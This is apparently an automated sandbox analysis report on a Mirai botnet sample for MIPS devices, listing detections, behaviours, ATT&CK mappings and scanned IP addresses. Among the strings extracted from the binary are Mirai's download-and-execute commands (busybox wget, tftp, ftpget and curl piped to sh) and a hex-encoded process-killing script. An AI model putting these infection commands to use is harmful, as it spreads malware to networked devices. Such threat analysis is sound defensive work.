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Linux Analysis Report
zQuEO8Ftyh.elf

Overview

General Information

Sample name:	zQuEO8Ftyh.elf renamed because original name is a hash value
Original sample name:	7cc806686b49b81d3d2b17b3be5355ef.elf
Analysis ID:	1432917
MD5:	7cc806686b49b81d3d2b17b3be5355ef
SHA1:	ffa7153ff546ac24f1db89c25833a7b8a2347358
SHA256:	39776a51f9f000b08d5330ba487c6eaa7e4b3b527c361e1214630c84e2c539ae
Tags:	32elfmipsmirai
Infos:

Detection

Mirai

Score:	60
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1432917
Start date and time:	2024-04-28 14:38:35 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	zQuEO8Ftyh.elf renamed because original name is a hash value
Original Sample Name:	7cc806686b49b81d3d2b17b3be5355ef.elf
Detection:	MAL
Classification:	mal60.troj.linELF@0/334@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/zQuEO8Ftyh.elf
PID:	5571
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

zQuEO8Ftyh.elf (PID: 5571, Parent: 5487, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/zQuEO8Ftyh.elf

zQuEO8Ftyh.elf New Fork (PID: 5573, Parent: 5571)

zQuEO8Ftyh.elf New Fork (PID: 5575, Parent: 5573)

zQuEO8Ftyh.elf New Fork (PID: 5577, Parent: 5573)

zQuEO8Ftyh.elf New Fork (PID: 5579, Parent: 5573)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: zQuEO8Ftyh.elf	ReversingLabs: Detection: 50%
Source: zQuEO8Ftyh.elf	Virustotal: Detection: 34%			Perma Link

Source: unknown	TCP traffic detected without corresponding DNS query: 68.12.77.181
Source: unknown	TCP traffic detected without corresponding DNS query: 70.160.154.216
Source: unknown	TCP traffic detected without corresponding DNS query: 22.165.49.98
Source: unknown	TCP traffic detected without corresponding DNS query: 175.24.78.191
Source: unknown	TCP traffic detected without corresponding DNS query: 129.187.13.82
Source: unknown	TCP traffic detected without corresponding DNS query: 22.51.23.101
Source: unknown	TCP traffic detected without corresponding DNS query: 67.78.68.178
Source: unknown	TCP traffic detected without corresponding DNS query: 7.149.241.14
Source: unknown	TCP traffic detected without corresponding DNS query: 118.111.37.118
Source: unknown	TCP traffic detected without corresponding DNS query: 166.235.84.203
Source: unknown	TCP traffic detected without corresponding DNS query: 12.228.31.23
Source: unknown	TCP traffic detected without corresponding DNS query: 175.176.124.3
Source: unknown	TCP traffic detected without corresponding DNS query: 138.217.75.200
Source: unknown	TCP traffic detected without corresponding DNS query: 219.160.16.109
Source: unknown	TCP traffic detected without corresponding DNS query: 35.146.39.13
Source: unknown	TCP traffic detected without corresponding DNS query: 179.88.219.235
Source: unknown	TCP traffic detected without corresponding DNS query: 78.195.187.120
Source: unknown	TCP traffic detected without corresponding DNS query: 162.233.59.167
Source: unknown	TCP traffic detected without corresponding DNS query: 158.19.239.119
Source: unknown	TCP traffic detected without corresponding DNS query: 3.89.160.94
Source: unknown	TCP traffic detected without corresponding DNS query: 21.13.18.191
Source: unknown	TCP traffic detected without corresponding DNS query: 220.211.19.200
Source: unknown	TCP traffic detected without corresponding DNS query: 141.95.14.7
Source: unknown	TCP traffic detected without corresponding DNS query: 221.42.142.211
Source: unknown	TCP traffic detected without corresponding DNS query: 107.252.198.55
Source: unknown	TCP traffic detected without corresponding DNS query: 73.67.129.86
Source: unknown	TCP traffic detected without corresponding DNS query: 183.209.67.32
Source: unknown	TCP traffic detected without corresponding DNS query: 149.172.53.191
Source: unknown	TCP traffic detected without corresponding DNS query: 92.132.216.195
Source: unknown	TCP traffic detected without corresponding DNS query: 138.41.144.17
Source: unknown	TCP traffic detected without corresponding DNS query: 221.6.132.231
Source: unknown	TCP traffic detected without corresponding DNS query: 68.253.161.54
Source: unknown	TCP traffic detected without corresponding DNS query: 72.97.218.1
Source: unknown	TCP traffic detected without corresponding DNS query: 173.94.180.94
Source: unknown	TCP traffic detected without corresponding DNS query: 212.57.199.7
Source: unknown	TCP traffic detected without corresponding DNS query: 138.222.247.159
Source: unknown	TCP traffic detected without corresponding DNS query: 105.101.214.21
Source: unknown	TCP traffic detected without corresponding DNS query: 196.162.178.187
Source: unknown	TCP traffic detected without corresponding DNS query: 137.86.41.164
Source: unknown	TCP traffic detected without corresponding DNS query: 46.154.77.44
Source: unknown	TCP traffic detected without corresponding DNS query: 163.193.84.35
Source: unknown	TCP traffic detected without corresponding DNS query: 81.45.49.180
Source: unknown	TCP traffic detected without corresponding DNS query: 4.136.249.236
Source: unknown	TCP traffic detected without corresponding DNS query: 34.193.42.83
Source: unknown	TCP traffic detected without corresponding DNS query: 221.252.41.192
Source: unknown	TCP traffic detected without corresponding DNS query: 21.111.153.234
Source: unknown	TCP traffic detected without corresponding DNS query: 145.13.23.68
Source: unknown	TCP traffic detected without corresponding DNS query: 136.101.36.222
Source: unknown	TCP traffic detected without corresponding DNS query: 52.103.11.208
Source: unknown	TCP traffic detected without corresponding DNS query: 28.96.223.166

Source: zQuEO8Ftyh.elf	String found in binary or memory: http:///curl.sh
Source: zQuEO8Ftyh.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5581/maps	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5581/cmdline	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5592/maps	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5592/cmdline	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5593/maps	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5593/cmdline	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5594/maps	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5594/cmdline	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5595/maps	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5595/cmdline	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5596/maps	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5596/cmdline	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5597/maps	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5597/cmdline	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5598/maps	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5598/cmdline	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5599/maps	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5599/cmdline	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5600/maps	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5600/cmdline	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5579/maps	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5579/cmdline	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5601/maps	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5601/cmdline	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5602/maps	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5602/cmdline	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5603/maps	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5603/cmdline	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5604/maps	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5604/cmdline	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5605/maps	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5605/cmdline	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5606/maps	Jump to behavior
Source: /tmp/zQuEO8Ftyh.elf (PID: 5575)	File opened: /proc/5606/cmdline	Jump to behavior

Source: zQuEO8Ftyh.elf, 5571.1.000055eb0f82d000.000055eb0f8b4000.rw-.sdmp, zQuEO8Ftyh.elf, 5577.1.000055eb0f82d000.000055eb0f8b4000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mips
Source: zQuEO8Ftyh.elf, 5571.1.000055eb0f82d000.000055eb0f8b4000.rw-.sdmp, zQuEO8Ftyh.elf, 5577.1.000055eb0f82d000.000055eb0f8b4000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: zQuEO8Ftyh.elf, 5571.1.00007fff33f9f000.00007fff33fc0000.rw-.sdmp, zQuEO8Ftyh.elf, 5577.1.00007fff33f9f000.00007fff33fc0000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips
Source: zQuEO8Ftyh.elf, 5571.1.00007fff33f9f000.00007fff33fc0000.rw-.sdmp, zQuEO8Ftyh.elf, 5577.1.00007fff33f9f000.00007fff33fc0000.rw-.sdmp	Binary or memory string: cx86_64/usr/bin/qemu-mips/tmp/zQuEO8Ftyh.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/zQuEO8Ftyh.elf

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Source	Detection	Scanner	Label	Link
zQuEO8Ftyh.elf	50%	ReversingLabs	Linux.Trojan.Mirai
zQuEO8Ftyh.elf	34%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http:///curl.sh	0%	Avira URL Cloud	safe
http:///wget.sh	0%	Avira URL Cloud	safe

IP	Domain	Country	ASN	ASN Name	Malicious
75.107.233.240	unknown	United States	7155	VIASAT-SP-BACKBONEUS	false
97.88.203.150	unknown	United States	20115	CHARTER-20115US	false
50.253.79.171	unknown	United States	7922	COMCAST-7922US	false
188.65.89.145	unknown	Spain	15704	AS15704ES	false
63.5.201.101	unknown	United States	701	UUNETUS	false
178.124.65.240	unknown	Belarus	6697	BELPAK-ASBELPAKBY	false
77.98.235.116	unknown	United Kingdom	5089	NTLGB	false
219.190.91.151	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
56.56.188.225	unknown	United States	2686	ATGS-MMD-ASUS	false
85.243.97.130	unknown	Portugal	3243	MEO-RESIDENCIALPT	false
155.148.179.119	unknown	United States	668	DNIC-AS-00668US	false
144.56.216.247	unknown	France	786	JANETJiscServicesLimitedGB	false
84.148.41.193	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
143.200.141.202	unknown	United States	3128	BRUWS-AS3128US	false
211.49.14.142	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
195.10.5.122	unknown	United Kingdom	1273	CWVodafoneGroupPLCEU	false
207.188.247.141	unknown	United States	7784	ATLANTECHUS	false
188.120.65.119	unknown	Denmark	28717	ZENSYSTEMS-ASDK	false
29.67.142.208	unknown	United States	7922	COMCAST-7922US	false
102.122.131.130	unknown	Sudan	36972	MTNSD	false
35.26.180.212	unknown	United States	36375	UMICH-AS-5US	false
170.150.220.172	unknown	Brazil	265050	SOSTELECOMEIRELIMEBR	false
218.34.223.33	unknown	Taiwan; Republic of China (ROC)	7482	APOL-ASAsiaPacificOn-lineServiceIncTW	false
48.51.7.231	unknown	United States	2686	ATGS-MMD-ASUS	false
145.79.103.143	unknown	Netherlands	33915	TNF-ASNL	false
184.69.183.209	unknown	Canada	6327	SHAWCA	false
116.40.43.18	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
175.2.250.241	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
66.170.47.163	unknown	United States	16698	BRIGHTNETUS	false
196.86.186.145	unknown	Morocco	6713	IAM-ASMA	false
135.110.19.186	unknown	United States	10455	LUCENT-CIOUS	false
8.231.83.108	unknown	United States	3356	LEVEL3US	false
156.58.152.242	unknown	Austria	199083	MP-ASAT	false
159.113.100.38	unknown	United States	32982	DOE-HQUS	false
32.233.118.147	unknown	United States	2686	ATGS-MMD-ASUS	false
180.108.249.1	unknown	China	137702	CHINATELECOM-JIANGSU-NANJING-IDCNanjingJiangsuProvince	false
130.253.143.213	unknown	United States	14041	AS14041US	false
47.6.247.192	unknown	United States	20115	CHARTER-20115US	false
151.183.240.208	unknown	Switzerland	16037	TETRAPAK-ASSE	false
180.110.244.168	unknown	China	134756	CHINANET-NANJING-IDCCHINANETNanjingIDCnetworkCN	false
58.245.211.30	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
161.177.87.22	unknown	United States	10695	WAL-MARTUS	false
168.16.2.204	unknown	United States	3479	PEACHNET-AS1US	false
187.146.129.173	unknown	Mexico	8151	UninetSAdeCVMX	false
38.142.152.68	unknown	United States	174	COGENT-174US	false
152.143.226.161	unknown	Germany	50629	LWLCOMDE	false
85.135.137.205	unknown	Slovakia (SLOVAK Republic)	8257	SLOVANET-BROADBANDhttpwwwslovanetnetSK	false
149.151.87.9	unknown	United States	10955	WILPATERSONUS	false
81.160.139.212	unknown	Hungary	30904	KOZHALO-ASHU	false
96.158.231.170	unknown	United States	7922	COMCAST-7922US	false
35.145.6.2	unknown	United States	394141	ROCKET-FIBERUS	false
19.111.229.123	unknown	United States	3	MIT-GATEWAYSUS	false
173.59.77.120	unknown	United States	701	UUNETUS	false
4.131.104.214	unknown	United States	3356	LEVEL3US	false
91.239.171.71	unknown	Poland	59556	ADNET-ASPL	false
125.123.207.115	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
31.132.74.113	unknown	Russian Federation	56956	STOLITSA-ASRU	false
131.248.93.95	unknown	Japan	2497	IIJInternetInitiativeJapanIncJP	false
13.148.191.145	unknown	United States	7018	ATT-INTERNET4US	false
105.15.135.238	unknown	South Africa	37168	CELL-CZA	false
138.218.154.221	unknown	Canada	808	GONET-ASN-1CA	false
147.229.103.71	unknown	Czech Republic	197451	VUTBR-ASCZ	false
35.246.39.69	unknown	United States	15169	GOOGLEUS	false
104.107.113.206	unknown	United States	16625	AKAMAI-ASUS	false
64.61.240.56	unknown	United States	32946	RPU-1892US	false
63.155.124.74	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
69.11.156.112	unknown	United States	4181	TDS-ASUS	false
92.18.133.184	unknown	United Kingdom	13285	OPALTELECOM-ASTalkTalkCommunicationsLimitedGB	false
196.130.115.204	unknown	Egypt	36935	Vodafone-EG	false
85.168.47.58	unknown	France	21502	ASN-NUMERICABLEFR	false
199.216.77.249	unknown	Canada	852	ASN852CA	false
141.39.39.26	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
165.197.137.10	unknown	United States	2152	CSUNET-NWUS	false
113.197.234.205	unknown	Japan	2497	IIJInternetInitiativeJapanIncJP	false
201.26.57.111	unknown	Brazil	27699	TELEFONICABRASILSABR	false
99.119.115.85	unknown	United States	7018	ATT-INTERNET4US	false
184.57.27.151	unknown	United States	10796	TWC-10796-MIDWESTUS	false
29.210.150.76	unknown	United States	7922	COMCAST-7922US	false
130.184.141.106	unknown	United States	10508	UARK-FAYETTEVILLEUS	false
144.187.254.78	unknown	United States	22562	CSC-IGN-EMEAUS	false
112.189.122.20	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
67.210.12.191	unknown	Reserved	21724	RADIANT-TORONTOCA	false
24.130.211.205	unknown	United States	7922	COMCAST-7922US	false
74.60.94.51	unknown	United States	5769	VIDEOTRONCA	false
51.5.182.83	unknown	Germany	200517	MS-DEUTSCHLANDDE	false
128.129.138.178	unknown	Canada	11499	WHOI-WOODSHOLEUS	false
190.243.132.196	unknown	Colombia	26611	COMCELSACO	false
66.153.16.200	unknown	United States	7029	WINDSTREAMUS	false
99.2.51.185	unknown	United States	7018	ATT-INTERNET4US	false
130.156.136.82	unknown	United States	21976	NJEDGE-NETUS	false
80.15.106.2	unknown	France	3215	FranceTelecom-OrangeFR	false
220.60.94.149	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
107.223.48.18	unknown	United States	7018	ATT-INTERNET4US	false
56.231.51.52	unknown	United States	2686	ATGS-MMD-ASUS	false
66.135.222.198	unknown	United States	11643	EBAYUS	false
123.123.209.159	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
112.23.171.164	unknown	China	56046	CMNET-JIANGSU-APChinaMobilecommunicationscorporationCN	false
64.59.200.223	unknown	United States	13438	VIVIO-TECHNOLOGIESUS	false
75.179.52.99	unknown	United States	10796	TWC-10796-MIDWESTUS	false
92.164.158.213	unknown	France	3215	FranceTelecom-OrangeFR	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
8.231.83.108	arm7.elf	Get hash	malicious	Mirai	Browse
144.56.216.247	dUdVswLLvu	Get hash	malicious	Mirai	Browse
84.148.41.193	LQKYM07Z8i.elf	Get hash	malicious	Mirai	Browse
	sD5iw4Ow7C.elf	Get hash	malicious	Mirai	Browse
	jBjlZN5oKo	Get hash	malicious	Mirai	Browse
75.107.233.240	IWtSRwOIL6.elf	Get hash	malicious	Mirai	Browse
211.49.14.142	SpsdYiAti9.elf	Get hash	malicious	Mirai	Browse
211.49.14.142	x86	Get hash	malicious	Mirai	Browse
48.51.7.231	x86-20230317-1550.elf	Get hash	malicious	Mirai	Browse
184.69.183.209	x86_64-20220428-2146	Get hash	malicious	Mirai	Browse
184.69.183.209	x86_64-20211007-1619	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
infectedchink.cat	bbGOk3V4WJ.elf	Get hash	malicious	Unknown	Browse	86.104.194.115
	jklarm5.elf	Get hash	malicious	Mirai	Browse	204.76.203.16
	jklmpsl.elf	Get hash	malicious	Mirai	Browse	204.76.203.35
	ePt0gXr9X2.elf	Get hash	malicious	Unknown	Browse	204.76.203.58
	klTP7Pmqg6.elf	Get hash	malicious	Mirai	Browse	204.76.203.230
	ji5zq1gsV7.elf	Get hash	malicious	Unknown	Browse	204.76.203.55
	Kvg63GJkQt.elf	Get hash	malicious	Unknown	Browse	204.76.203.21
	0PZu4g9EJT.elf	Get hash	malicious	Unknown	Browse	204.76.203.56
	D9guGLReiK.elf	Get hash	malicious	Mirai	Browse	204.76.203.19

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CHARTER-20115US	f8txrlLgsG.elf	Get hash	malicious	Mirai	Browse	97.85.169.196
	mbkraX1GtP.elf	Get hash	malicious	Mirai	Browse	68.116.109.137
	sora.arm.elf	Get hash	malicious	Mirai	Browse	24.241.240.83
	Ctnox9WBxZ.elf	Get hash	malicious	Unknown	Browse	137.27.114.58
	249pTre4Xi.elf	Get hash	malicious	Mirai	Browse	47.132.192.2
	ughZ7R95TJ.elf	Get hash	malicious	Mirai	Browse	174.83.226.38
	1V6R2CDFp7.elf	Get hash	malicious	Mirai	Browse	71.95.250.25
	z9QVrRPbJc.elf	Get hash	malicious	Unknown	Browse	47.34.18.1
	t7bAVQ2wpF.elf	Get hash	malicious	Unknown	Browse	97.87.132.20
	Kryl6TWwj6.elf	Get hash	malicious	Mirai	Browse	75.135.84.44
COMCAST-7922US	357oRnNepg.elf	Get hash	malicious	Unknown	Browse	29.192.86.207
	eaQvLgUm2Z.elf	Get hash	malicious	Mirai	Browse	30.90.159.119
	Gsv0y7HpUH.elf	Get hash	malicious	Unknown	Browse	73.58.128.151
	f8txrlLgsG.elf	Get hash	malicious	Mirai	Browse	30.7.254.208
	pagtZwlU1G.elf	Get hash	malicious	Unknown	Browse	50.228.64.212
	98zdN8lGtk.elf	Get hash	malicious	Unknown	Browse	174.53.179.202
	mbkraX1GtP.elf	Get hash	malicious	Mirai	Browse	76.146.107.188
	oJnyEbVPPR.elf	Get hash	malicious	Mirai	Browse	26.17.122.81
	B7nYecfqH0.elf	Get hash	malicious	Unknown	Browse	25.223.10.57
	MG6OHOu9nZ.elf	Get hash	malicious	Unknown	Browse	98.63.72.105
VIASAT-SP-BACKBONEUS	la.bot.arm.elf	Get hash	malicious	Mirai	Browse	75.106.107.54
	iDCt7RoutX.elf	Get hash	malicious	Mirai	Browse	67.54.141.207
	01EF8hZ6ib.elf	Get hash	malicious	Unknown	Browse	184.63.30.33
	NMdpQecbkg.elf	Get hash	malicious	Mirai	Browse	162.73.37.105
	KFGhPSUn9z.elf	Get hash	malicious	Mirai	Browse	99.196.212.69
	C4OTm1FW94.elf	Get hash	malicious	Mirai	Browse	75.106.34.186
	XIu2eKNZ8m.elf	Get hash	malicious	Mirai	Browse	184.63.161.139
	xgxLxAfjCG.elf	Get hash	malicious	Mirai	Browse	172.243.43.85
	JoaD4Dp71E.elf	Get hash	malicious	Mirai	Browse	162.74.16.109
	GuK1bgzDX6.elf	Get hash	malicious	Mirai	Browse	172.243.43.89
AS15704ES	dwn1cGHIbV.elf	Get hash	malicious	Mirai	Browse	78.30.37.147
	SecuriteInfo.com.Trojan.InstallCore.4086.15026.2213.exe	Get hash	malicious	PrivateLoader, PureLog Stealer	Browse	78.30.8.73
	tL98mBWW8p.elf	Get hash	malicious	Mirai	Browse	178.237.233.254
	szBCKC8yTb.elf	Get hash	malicious	Mirai	Browse	212.7.35.235
	D3qL35jbpG.elf	Get hash	malicious	Mirai	Browse	78.30.37.139
	uvaXiyELu9.elf	Get hash	malicious	Mirai	Browse	45.12.165.43
	JoaD4Dp71E.elf	Get hash	malicious	Mirai	Browse	78.30.37.139
	i8liJRANB6.elf	Get hash	malicious	Mirai	Browse	188.65.89.156
	XGKnyrSG4E.elf	Get hash	malicious	Unknown	Browse	78.30.37.139
	YMloXummt3.elf	Get hash	malicious	Moobot	Browse	81.0.39.172

Process:	/tmp/zQuEO8Ftyh.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.1987363986701083
Encrypted:	false
SSDEEP:	6:URVgDFlKdtj/VUX/vYDF8LQz/VZCY/VDM/V+4D/VH:IVYHKCXQ/RMfF
MD5:	B39ADD83485902F46EE58D9BE2FF28CA
SHA1:	1A807E9AC0C497829EDF764FC0A97216D15E1637
SHA-256:	263B5CB8623EFED849B0E0915FB3074B6DDE3FACC3F15C90C962EB0A72F9B2DD
SHA-512:	0BF4BAAA7C9960B7F1FC2425B345D3DD3359206FBDA09447941537803C0719DD9E9038A98F529080546635A27C4EAB8901539F3081D616B47A460491D832E705
Malicious:	false
Reputation:	low
